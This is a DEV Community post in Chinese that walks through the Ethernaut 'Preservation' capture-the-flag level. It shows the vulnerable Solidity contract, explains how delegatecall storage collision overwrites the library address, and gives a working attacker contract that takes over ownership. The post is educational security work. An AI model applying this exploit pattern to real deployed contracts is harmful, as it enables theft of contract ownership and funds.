DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 16(Preservation)

LEVEL 16 (Preservation):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

owner=player

要点

1.理解delegatecall如何处理storage
第6关有类似
https://dev.to/bin2chen/ethernautxi-lie-level-6delegate-31gk

2.storage的位置如何存储

解题思路

调用delegatecall代码使用被调合约的代码,但storage使用是调用方的storage
所以第一次调用setFirstTime时,LibraryContract里的storedTime(slot:0)对应的是Preservation的timeZone1Library(slot:0)的位置,所以timeZone1Library会被入参time给覆盖,这样可以传time为我们指定一个外包合约地址,第二次再调用setFirstTime就会调用这个外部合约,然后在通过这个外部合约写入owner(slot:2)即可改下owner

contract PreservationRun {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 

  function setTime(uint256 _time) public {
    owner = address(uint160(_time));
  }
  function run(address _runAddress, address _playerAddress) external payable {
    //调用第一次setFirstTime后,会覆盖Preservation.sol的timeZone1Library为本合约
    ILevel(_runAddress).setFirstTime(uint160(address(this)));

    //第二次时间是调用这个合约的setTime,但storage用的是Preservation.sol的storage的slot:3即owner
    ILevel(_runAddress).setFirstTime(uint160(_playerAddress));
  }  
}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)